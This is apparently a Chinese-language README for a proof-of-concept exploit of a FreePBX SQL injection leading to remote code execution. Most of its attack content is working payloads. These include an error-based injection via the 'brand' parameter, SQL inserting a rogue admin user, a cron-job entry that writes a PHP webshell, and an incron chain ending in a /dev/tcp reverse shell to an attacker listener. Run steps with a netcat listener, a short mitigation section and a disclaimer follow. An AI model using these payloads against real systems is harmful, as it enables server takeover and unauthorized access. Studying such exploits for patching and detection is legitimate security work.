
CVE-2025-57819 FreePBX SQLi RCE PoC
仅供教育与安全研究使用 - 请参见下方的法律声明
针对FreePBX中CVE-2025-57819(一个关键的未授权SQL注入漏洞)的利用概念验证,该漏洞可实现远程代码执行。本PoC在 官方补丁发布后 发布,仅用于安全研究和授权测试。
FreePBX 15.x、16.x 和 17.x(低于补丁版本的版本)在端点的AJAX处理程序中存在未授权SQL注入漏洞。此漏洞链可实现:
| CVE ID | CVE-2025-57819 |
| 类型 | 未授权SQL注入(基于错误) |
| CVSS | 9.8 / 10.0(严重) |
| 受影响版本 | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| 已修补版本 | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | 是(2025年8月29日) |
GET /admin/ajax.php?brand=<PAYLOAD>
端点模块的AJAX处理程序中的 brand 参数接受用户输入且未进行验证,导致基于错误的SQL注入。
使用 EXTRACTVALUE() 基于错误的提取验证SQLi,泄露数据库名称:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
向 asterisk.ampusers 插入新的管理用户:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
获得有效的管理凭据后,该漏洞利用程序对FreePBX进行身份验证并建立经过认证的会话。保存会话cookie,用于所有后续认证请求。
将webshell命令注入 asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
FreePBX的cron运行器以 asterisk 用户身份执行该命令,部署PHP webshell。
PHP webshell被部署到 /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
漏洞利用程序轮询webshell直到激活,从而以 asterisk 用户身份(uid=999)获得RCE。
如果目标上配置了incron:
/var/spool/asterisk/incron/ 创建触发器文件incrond(以root身份运行)检测到文件创建/usr/bin/sysadmin_managersysadmin_manager 验证GPG签名并分派到fwconsole-commands钩子/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1结果:反向监听器上获得root shell(若incron可用)。
brand 参数无输入验证asterisk.cron_jobs 表以asterisk用户身份执行命令git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# 设置Netcat监听器
nc -lvnp <监听端口>
# 运行漏洞利用程序
python3 JTR-CVE-2025-57819.py <目标IP> <你的IP> <端口>

| 版本 |
|---|
立即:
/admin/ajax.php 访问systemctl disable incrond永久: 升级至已修补版本:15.0.66+、16.0.89+ 或 17.0.3+
⚠️ 免责声明
此概念验证 仅供授权安全测试和教育目的使用。作者对因滥用或使用本工具造成的任何损害不承担任何责任。
你必须遵守:
禁止用途:
责任豁免: 作者对以下情况不承担责任:
此漏洞已:
JazzTheRabbit
MIT License
| 状态 |
|---|
| 15.0.0 – 15.0.65 | 存在漏洞 |
| 15.0.66+ | 已修补 |
| 16.0.0 – 16.0.88 | 存在漏洞 |
| 16.0.89+ | 已修补 |
| 17.0.0 – 17.0.2 | 存在漏洞 |
| 17.0.3+ | 已修补 |